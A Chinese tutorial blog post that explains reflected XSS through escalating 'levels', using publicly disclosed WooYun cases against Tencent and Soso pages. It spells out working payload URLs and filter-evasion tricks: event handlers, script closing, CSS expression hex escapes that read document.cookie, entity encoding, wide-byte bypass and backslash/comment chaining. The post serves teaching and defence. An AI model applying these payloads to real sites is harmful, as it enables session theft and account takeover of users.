XSSer 升级之路

之前积累了XSS 有一段时间,因为目前开始了一件有趣的工程,需要整合非常多的知识,其中Web 安全这一块出现最多的,应该就是XSS,SQL注入了,再加上乌云泡着看别人的文章,看各家大网站的漏洞,决定把这一块知识聚拢一下,写成一篇文章。想了想,从简单到难,那就是一条打怪升级之路,所以就从最简单的反射型漏洞开始,一点一点提高,直到把大部分XSS 的形式找出来。

level 1 无过滤规则的XSS

最简单的跨站,也就是我们说的反射型跨站,也叫作非持久型,参数型跨站脚本。这种类型的脚本出现的面非常的广,互联网上这样的漏洞非常多,一般出没在各路小站点,大站点很少出现。乌云的漏洞列表里,海量的XSS 漏洞都来自互联网上访问量不高的小站,被辛苦挖洞的XSSer 们发掘出来的。

站在新手村我们的,需要一个最简单的野怪刷一下,这个野怪上下无任何装备,没有一点防御。也就是说,这个XSS 漏洞对于用户的输入,不做任何过滤行为。

一般来说,XSS 存在的地方,一定是需要有输入和输出概念的,一般的过滤规则,也是出现在输入阶段或者是输出阶段,如果两个都没有过滤,那么很轻松的就造成了漏洞。通常来说,这种洞非常好刷,比较自动化的方式是,建立一个爬虫系统,预设一些URL,爬虫爬取网页,在网页源码中寻找用户可以输入的地方,然后在可以输入的地方,将构造好的XSS 代码以输入形式,构造成请求,然后观察响应,是否对我们的输入做了过滤策略。如果是原本的返回,那么我们就说可能存在有xss漏洞。

同时,有另一种更为简单的漏洞,是直接在URL 中,如果有直接赋值参数的行为,也相当于一个可输入的位置,我们直接在URL 中将XSS 代码构造在URL 中,观察返回是否做了过滤处理,如果没有,那么就是一个最简单的野怪诞生。

在乌云中,有不少这样的漏洞,小站很多,大站很少,因为大站一般都有完备的过滤规则,很难在这些小问题上有任何闪失,再加上如今浏览器基本上都有安全策略对此类型进行防御,所以这种威力相对较小。

之前在HTTP 的文章里,有详细讲过 URL的格式,其基本格式如此:

每个结构对应的含义如下:

通常的注入发生在query 这一块,而一般一个安全的行为,就是对query 中的字符进行过滤,以防止xss。以百度的URL 为例,一个通常的URL 查询之后的造型是下面这样的:

http://www.baidu.com/s?wd=%E6%A0%87%E7%82%B9%E7%AC%A6&rsv_spt=1&issp=1&rsv_bp=0&ie=utf-8&tn=baiduhome_pg&inputT=2969

问号之后有一大堆参数,&用来分割参数,他们对应的是什么意思不是本文关注的重点,可以参见这一篇文章百度搜索URL 参数解析

其中wd 就是我们所说的搜索关键词,也就是我们的输入,如果我们将此字符改成

1
<script>alert(/xss/)</script>

在输出时我们看到,URL 变成了如下,可疑的部分被转义了。

1
https://www.baidu.com/s?wd=%22%3Cscript%3Ealert(%27xss%27)%3C%2Fscript%3E&rsv_spt=1&rsv_iqid=0xb3f5d3380002c15f&issp=1&f=3&rsv_bp=1&rsv_idx=2&ie=utf-8&tn=baiduhome_pg&rsv_enter=1&oq=%26lt%3Bscript%26gt%3Balert(%26%2339%3Bxss%26%2339%3B)%26lt%3B%2Fscript%26gt%3B&rsv_t=455e8xS9GVGwfM%2BTxjkNH6uUohEOPZHQFWlqocmOh9s1caJr5IHzVrPJJKJ1OwdTglc3&inputT=5478&rsv_sug3=27&rsv_sug1=21&rsv_sug7=100&rsv_pq=cce2beda0002a800&rsv_sug2=0&rsv_sug4=6278

在这里举一个大站腾讯的简单的xss,是乌云上某马甲提交的,作为一个最简单的XSS 挖给大家学习。网站的网址是这样的:
http://app.data.qq.com/?umod=commentsoutlet&act=count&siteid=3&libid=9&dataid=1480&score=1&func=haoping&_=1353475261886

如果我们在这个URL 里尝试修改参数,将score 参数改成

1
<img src=1>

而输出的源码并没有发生变化:

在网易中看到的结果就变成了这样:

这很显然,就是一个xss漏洞了,将经典的xss 代码插入进去即可:

1
score=<img src=1 onerror=alert(1);>

效果如下:

这就是一个最无防御的XSS 存在,很明显的,它简单,暴力,当然也是极容易防御的,所以在一个较高级的攻防对抗,或者是大站漏洞中,基本上不会出现这样的漏洞(然而腾讯还是有这样的问题~~)。

level 2 包装进script

上一等级里,我们的xss 构造格式是在img 中,然后直接通过URL 参数提交,通常反射型的XSS 比较广泛,但是伤害一般来说没有太高,而且比较容易防范。除了img 元素,还有诸如input, iframe,a href, 主要利用的是href 或者 src 可以使用javascript, 或者是使用onerror,表示当前图片无法显示时候可以调用的脚本。更多的内容,接下来详析。

接下来,我们针对的还是反射型的XSS,仍然是在参数中,作为目标文件中的参数,通过URL 传递给它,但是没有对该参数进行详细的过滤,造成了有机可趁,继续放出腾讯家以前的一个例子,也是乌云上的,网址如下:

http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa

此处的callback 参数,如果没有过滤的话,得到的网页源码里,我们就会看出来,如下:

拿出这一块的上下文代码,大约构造是这样的:

1
<script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.aaaaaa(_ret);}catch(err){aaaaaa(_ret);}</script>

aaaaaa如果我们替换成

1
<script>alert(/xss/)</script>

当然,我们注意到,上边的script 还没有闭合,为了让代码提前跳出前一个script ,我们应该在前边吧sciprt 闭合,这样:

1
</script><script>alert(/xss/)</script>

这样,很明显,就会继续发起了XSS 弹窗。但是,如果我们不允许输入破折号呢,上边所说的就没有办法了,但是,这并不代表毫无办法,还有一些具有威胁的函数,比如eval, String.fromCharCode, execute,这些都会造成XSS,也要过滤。如下,我们使用eval() 来构造攻击:

1
http://activity.soso.com/common/setParentsInfo.php?callback=eval('alert(1)');void

callback=eval(‘alert(1)’);void 仍然令我们的源代码语法正确,能够正确执行。

但是像这样构造出来的情况,其实非常的少见,因为正常传第一个参数进去,开发者都会将 “ 过滤掉,这样构造就失败了。

我们知道,XSSer 和 防御者之间的斗争从来就是道高一尺,魔高一丈的过程,防御者绞尽脑汁去过滤所有可能出现的情况,去处理所有可能的奇葩诡异编码情况,而XSSer 又会绞尽脑汁的去挖掘茫茫网络中漏洞,努力用各种奇技淫巧构造出五花八门的形态,看起来诡异无比,然而偏偏又能让javascript 语法正确,正常运行。

然而xss 却又一直是热门,但并不是很受重视的攻击手法,原因大概是这样的:

  1. 挖洞太麻烦,很耗时间,看上边两个漏洞,其中一个甚至是在某个获取QQ 应用宝上某个app 数据的URL 里发现的,而这种页面甚至很难被发现,所以他的伤害比较低,找到它却又要花费大量时间,而且还有很多构造方法不能成功,需要尝试各种模式。
  2. 这种伤害不是很大的反射型攻击,尚且还有机会通过爬虫自动化的挖掘到漏洞存在的可能,有很多复杂的存储型和DOM 型漏洞,更难通过爬虫挖到。
  3. 需要有良好的HTML,JS 功底,但是呢,如果功底好的话,直接就跑去做前端了,前端业务现在那么缺高级工程师。更多的,还需要有PHP,JSP 功底。
  4. 而Website 设置http-only,crossdomain.xml 时候,很多模式化的xss就失去力量了。
  5. 然而为什么热门呢,因为HTTP 世界的混乱,之前在写Web之困读书笔记的时候,作者也是强力吐槽了这个混乱的HTTP 世界,所以造成了XSS 几乎无处不在,而如果一个利用好的XSS,或者CSRF漏洞,会在某些情况下,造成难以弥补的伤害。
  6. 本质上将,SQL注入和XSS 都是由于代码上相似的漏洞造成的,而SQL 注入的危害要比XSS 看起来危险很多,很多人在挖SQL 注入漏洞的时候,顺手就挖几个XSS,也是很正常的。
  7. XSS 虽然看起来比较温柔,但是配上社工手段,可造成的影响仍然是不可小觑的,所以XSS 会火下去。

level 3 HTML 中的野怪

当然XSS 的漏洞不仅仅只出现在script 代码块中,还可以包含在丰富的HTML 的标签属性中。比如img,input 等一系列标签,基本格式是 < HTML标签 onXXXX=”在这里” > 或者是放在伪URL 里,比如< a href = “javascript:在这里”> xxxx 。

一般这样地方的参数,很少是直接通过输入就直接放进去的,不过有时候常常是接受了用户的输入,最后输出的时候,会出现在这些位置,但如果对用户的输入没有做详尽的处理和过滤的话,就会出现明显的XSS 漏洞。来个栗子:

比如某网站是这样的:

http://example.com/search.php?word=helloworld

对应在HTML 代码中,他出现在了这样的区域里:

1
<input type="text" value="helloworld" />

开发者没有对helloworld进行过滤的话,我们直接构造

1
word=helloworld" onclick="alert(/xss/)

然后在对引号括号等,使用URL 编码,直接变成如下结构:

1
helloworld%22+onclick%3d%22alert(%2fxss%2f)

也就完成了xss过程,不过这种漏洞现在已经非常稀少,因为它太容易过滤了,只需要将双引号过滤即可,一般做法就是将双引号过滤成HTML 实体编码,也就是&#quot; 对于HTML 解析器,它能够识别在文本节点和参数值里边的实体编码,并且在内存中创建文档树的表现形式时,透明的对这些编码进行解码。所以,在创建DOM 树结构的时候,&quot(有个分号,但是markdown会直接转了); 还没有被解码成引号,而且创建文档树的内容的时,才会考虑解码,而这时,其XSS 功效已经不能发挥作用了。

于是,对于有过滤规则的情况下,该标签将变成:

1
<input type="text" value="helloworld" onclick="alert(1)" />

但是,仅仅是这样的过滤,显然是不够用的,还有其他的注入点可以进,继续在乌云上来看腾讯的例子,考虑这样一个网址:
http://follow.v.t.qq.com/index.php?c=follow&a=index&appkey=801004516&bg=FFFFFF&hsize=80&name=Zhanglifenft,chengyizhong,xiangyang20112007,linchufang,leonardoit,linchufang,qingfengxu6685,zhouzhichen001,yuguoming-ruc,luomingtitan,bjwbgq,kezuozongbianji,weibotalk,lee007,jxzhongweizhi,lihaipengtx

我们查看输出的HTML 源码,发现bg 那里对应的是background-color,我们尝试那里用不同的字符尝试,观察其过滤情况。在这里,我让bg = “\<>() 就是希望观察一下它的过滤情况,基本上所有的字符都被过滤了,但是只有\ 没有被过滤

如何只用 \ 构造利用语句呢,我们可以想到CSS 中的字符编码,CSS 提供了一套转义处理策略,一个反斜杠后边跟1~6位十六进制数字。然后利用CSS 的expression 来调用JavaScript 代码。也就是试图构造出

1
expression(eval(alert(/xss/))

这样的代码,完整来说,就是这样的:

1
<body style="... background-color:;width:expression(eval(alert(/xss/)))">

用分号来结束backgroud-color,然后 w: 后边跟上expression,如果expression 要被过滤,那就加上转义,把expression 随意变下形就可以,于是,在下边这样的代码构造下,漏洞又被利用了。

http://follow.v.t.qq.com/index.php?c=follow&a=index&appkey=801004516&bg=;w:expr\65ssion\28%20eval\28\27\69\66\28\21\77\69\6e\64\6f\77\2e\78\29\7b\61\6c\65\72\74\28\64\6f\63\75\6d\65\6e\74\2e\63\6f\6f\6b\69\65\29\3b\77\69\6e\64\6f\77\2e\78\3d\31\7d\27\29\29&hsize=80&name=Zhanglifenft,chengyizhong,xiangyang20112007,linchufang,leonardoit,linchufang,qingfengxu6685,zhouzhichen001,yuguoming-ruc,luomingtitan,bjwbgq,kezuozongbianji,weibotalk,lee007,jxzhongweizhi,lihaipengtx

不过很遗憾的,expression 当年是微软搞出来的技术,但是一直没被其他浏览器接受,同时,甚至微软自己如今也抛弃了这种特性,它出现在IE6,IE7,和IE8的一些早期版本,因为微软官方也认为该属性不具有通用性,而且它处理的事务,如今已经能够在CSS 中正常的完成,如min-width,max-width, 这些都已经在IE8之后得到很好的支持,所以expression 也只能在这两个古老版本上起效。

那么,继续考虑一些别的情况,考虑下面这个网站:
http://stock.finance.qq.com/report/search.php?searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaaaaa

其输出的HTML 代码中,我们可以找到它:

对于放在javascript: 中的伪URL,其效果和放在script 代码块中没有区别。在这里 aaaaaa我们可以考虑对其做点什么,很自然的,我们想到用单引号闭合,然后后边加上alert(/xss/) 这样的构造,看起来比较绕,其构造步骤是这样的:

1
2
3
location.href='...&searchvalue=aaaaaa'
location.href='...&searchvalue=aaaa'+alert(1)+''
location.href='...&searchvalue=aaaa'+alert(1)+''

如果单引号,被过滤,就要改成HTML 编码,这样,就能在源代码中javascript 伪URL那里添加了alert(1) 这样的XSS。这步骤改造完毕之后,我们将可能被过滤的&-> %26,#->%23 转换成URL 编码,构造成这样的URL:
http://stock.finance.qq.com/report/search.php?searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaa%26%23x27;%2balert(1)%2b%26%23x27;

至此,又完成了一次XSS 注入,但到此处,是否有一个疑问呢,还是关于编码解析的问题。在上一个栗子中,我们说,将双引号,改成&quot ; 这样的形式,就不会出现异常的解析了,但是这里,我们主动的将单引号改成了&#27 ; 这样的形式,反而成功的完成了XSS 呢。

其实,这是一个解析顺序的原因,正常的解析顺序是这样的,先对URL解码,那些用URL 编码的字符都变成解码后的参数传出去,然后是HTML 解析,HTML 解析,此时 ,是先构建DOM文档结构,然后才会对每一个文本节点,属性值内容进行解析,这时候,HTML 实体编码的部分,才会还原回来,这个时候已经不会对DOM 结构造成影响了。然后是JS 解析,此时才会执行JS 代码的内容。而此时,HTML 已经完成了解码。

对应上边的栗子,在JS 解析之前,HTML 已经对那些编码完成了解码,对于JS 来说,一切都写的清清楚楚的了。

回到那个栗子,我们利用的代码,原样是这样的:

1
<li><input type="text" id="pagenum" class="inputstyle0814" onkeydown="if ((event.keyCode==13) && (this.value!='')) location.href='http://stock.finance.qq.com/report/search.php?offset='+this.value+'&searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaaaaa'"/></li>

当我们构造完成利用代码之后,对于页面上来说,就是要点击按钮,也就是onkeydown。 不仅要将URL 传出去,还需要用户点击按钮,这样造成的威胁小很多,不如img 标签里的onerror ,onload那样可以自动触发。

最后我们再考虑一下如何防守吧,上上栗子的问题,在于漏掉了斜杠的过滤,那么\ 该过滤还是要过滤的。对于上边这个栗子,可以考虑二次过滤,也就是将&都过滤为 &amp ;,这样不仅过滤了无编码的单引号等格式,又可以过滤掉利用实体编码想要逃过的实体编码格式。而如果只是用正则去片段&#xNN..等形式,实际上是不一定搞定所有的HTML 编码形式的。

level 4 离奇的宽字节

搞过SQL 注入的,应该是比较了解宽字节注入的,由于某些SQL 注入的核心是提前出线单引号来闭合前边的输入,然后在后边可以插入别的语句,联合查询等等。所以比较一般的过滤方式是将单引号转义,加一个斜杠。但此时忽略了编码的神奇。如果开发者在设置编码支持的时候,如果选择了GBK,gb18030,utf-8 等方式,实际上是支持十六位编码的。

最常见的方式,也就是在url里,在引号%27 或者是 %22 之前,加入%df, 由于0xdf 对应的大于128,所以,解析器会认为他和后边的组成了16位的编码,就会吃掉后边的字符,而后边跟着的字符,又恰恰是我们给引号添加的斜杠,%5c,于是%df 就会吃掉%5c 合并成一个字,引号重新暴露。

这种方法在XSS 不常见,但是如果某些XSS 在写过滤规则的时候,如果处理不当,还是有可能出现宽字节注入的情况,考虑如下url:

1
http://open.mail.qq.com/cgi-bin/qm_help_mailme?sid=,2,zh_CN&t=%22;alert(1);//aaaaaa

此处双引号被过滤了,变成了&quot ;,如下:

如果我们尝试一下采用宽字节注入,考虑构造成如图所示:
zh_CN&t=%c0%22;alert(1);

令人惊奇的是,这次注入成功了,观察代码如图:

当然,此处所遇到的问题,应该并不是前边提到的传统的形式,%c0 吃掉%5c ,因为很明显,此处没有使用斜杠转义,而是转成了&quot ; 只能把原因归咎于正则表达式处理的问题。

我们看到,即使当以注意到了问题所在的时候,仍然可能犯错误,而且是以意想不到的方式犯错,黑客渗透的方式,可能会以所有意想不到的形式进行。

我们将防御性代码比做成安全的城墙,那么正则过滤引擎,应该是这座安全长城的第一站,而在《Web 之困》 一书中,作者也说过,要想试图过滤掉所有的危险的编码,这几乎是不可能完成的任务。但作为开发者,比黑客再多想一些,这是应该的。

在XSS 界,拥有各种各样的形式去变形构造,在owasp 里,这篇XSS Filter Evasion Cheat Sheet 详细介绍了各种变形,以期能穷尽目前已知的各种变形手段,下次,我会对其中的变性手段,进行总结。但是,你想要过滤这所有的变形手段,几乎是不可能的,即使你过滤了他们,而引擎本身出现的错误,又会创造新的漏洞,上述例子就是这样的。

被忽略的反斜线

通常,过滤XSS 就是要考虑过滤各种特殊的控制字符,比如尖括号,引号等,而如果过滤一旦漏过了某些符号,那就有可能通过各种转义,构造出一个绕过的XSS,下面就是一个例子。

看这样一个网站:
http://mail.qq.com/cgi-bin/login?vt=passport&ss=aaa&from=bbb&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%25252Fcgi-bin%25252Fsetting10%25253Faction%25253Dlist%252526t%25253Dsetting10%252526ss%25253Dindex%252526Mtype%25253D1%252526clickpos%25253D20%252526loc%25253Ddelegate%25252Cwebmap%25252C%25252C1

杂乱无章,我们对照网页的源码,逐个尝试看能够注入,首先是先定位这些变量对应的位置,主要关注的还是前三个,vt=pass, ss=aaa, form=bbb, 构造完成之后我们在源码中寻找他们的位置如图:

定位到位置之后,我们把这一堆能使用的符号都拉进去尝试,包括引号,破折号,反斜杠等,这里如果能直接利用,最好是有双引号,它可以直接闭合前边的语法,从而构造新的语法,但是,很遗憾双引号这种头号仇恨还是第一时间被过滤了,但是漏过了反斜杠。

我们详细分析一下这一部分,考虑一下,看怎么注入:

1
<script>getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin="+"&t="+"&alias="+"®alias="+"&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%252Fcgi-bin%252Fsetting10%253Faction%253Dlist%2526t%253Dsetting10%2526ss%253Dindex%2526Mtype%253D1%2526clickpos%253D20%2526loc%253Ddelegate%252Cwebmap%252C%252C1"+"&title="+"&url=%2Fcgi-bin%2Flogin%3Fvt%3Dpassport%26ss%3Daaa%2522%26from%3Dbbb%5C%26delegate_url%3D%252Fcgi-bin%252Fframe_html%253Furl%253D%2525252Fcgi-bin%2525252Fsetting10%2525253Faction%2525253Dlist%25252526t%2525253Dsetting10%25252526ss%2525253Dindex%25252526Mtype%2525253D1%25252526clickpos%2525253D20%25252526loc%2525253Ddelegate%2525252Cwebmap%2525252C%2525252C1"+"&org_fun="+"&aliastype="+"&ss=aaa"+"&from=bbb"+"¶m="+"&sp=6fa57ce5b3047ebMTM1NTQwOTA2Mg"+"&r=3ec785174fff5206ed6f0cf4a8c5e3c5"+"&ppp="+"&secpp="</script>

核心部分,就是下边那小部分:

1
<script>getTop().location.href="......"+"&ss=aaa"+"&from=bbb"+"¶m="+".....";</script>

如果我们使用了反斜杠,那么双引号就被转义了,语法就变化了:

1
<script>getTop().location.href="......"+ "&ss=aaa\"+" &from=bbb "+" ¶m= "+" .....";</script>

有一点点机会突破,但是后边的语法就太奇怪了,有语法错误了。肿么办,我们在试试正斜杠,发现也没有被屏蔽,perfect,我们用正斜杠来讲后边直接注释掉,让语法正常。

1
location.href="........."+"&ss=aaaa\"+"&from=1//"+"¶m=";

但是还有一个问题,& 在这里,被考虑成了一个与操作,优先级是高于 =号的,变成了(“字符串”&from)=1 的语法,这仍然是错误的。但是,如果我们再测试一下,= 号会不会被屏蔽呢,=号也可以用,那么我们改变一下语法,添加一个等号,变成 ==:

1
location.href="........."+"&ss=aaaa\"+"&from==1//"+"¶m=";

于是语法编程了(“string”)&(from==1)的样式,from 变成了一个bool操作,但现在又面临了新的问题,如果你在URL 里本来该是一个定义的操作,却变成了一个判断的操作,from 就变成了未定义的状态了,语法仍然会报错,这我们就要进一步理解JavaScript的语法了,如果我们把from 当做一个变量或者是方法,如果是方法,无论在何处定义,都会被拉到最简便,所以我们在from 的部分再添加一个步骤:

1
location.href="........."+"&ss=aaaa\"+"&from==1;function from(){}//"+"¶m=";

这样,from 就不会被当成是未定义的了,但问题又来了,我们现在添加了许多东西,而添加的这些东西,包含了许多特殊字符,会不会通过呢,经过实际测试,还真是悲剧了,空格符被转义了:

空格符被转义了怎么办呢,我们找到新的替换品,那就是/**/, 这是一个注释符,之前我们也测试过了,斜杠不会被过滤,那么这个注释符,成功的顶替了空格,形成了正常的语法。

1
location.href="........."+"&ss=aaaa\"+"&from==1;function/**/from(){}//"+"¶m=";

从语法上看,这样就OK 了,我们的攻击代码可以放function 的前边,直接用alert(/xss/);测试,最终代码:
http://mail.qq.com/cgi-bin/login?vt=passport&ss=\&from==0;alert(1);function/**/from(){};//&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%25252Fcgi-bin%25252Fsetting10%25253Faction%25253Dlist%252526t%25253Dsetting10%252526ss%25253Dindex%252526Mtype%25253D1%252526clickpos%25253D20%252526loc%25253Ddelegate%25252Cwebmap%25252C%25252C1

结果毫无疑问弹了窗。

那么回到源头去搜索整个注入的过程,我们发现,注入的过程,颇有几分SQL 的风采,都是利用各种语法上的技巧,在我们的SQL注入中,一些常见的技巧,比如基于重言式,这和XSS 的试图闭合语法相似,比如联合查询法,试图借助未转义的字符,来完成注入。

这个漏洞的挖掘过程,就是从一个狭小的入口进入,借助了字符过滤不完整的漏洞,挖开了深层的内容。所以,在实际编程开发中,对特殊字符的控制,是需要慎之又慎的,一旦有一个小小的漏洞,就会被随时攻破。

script>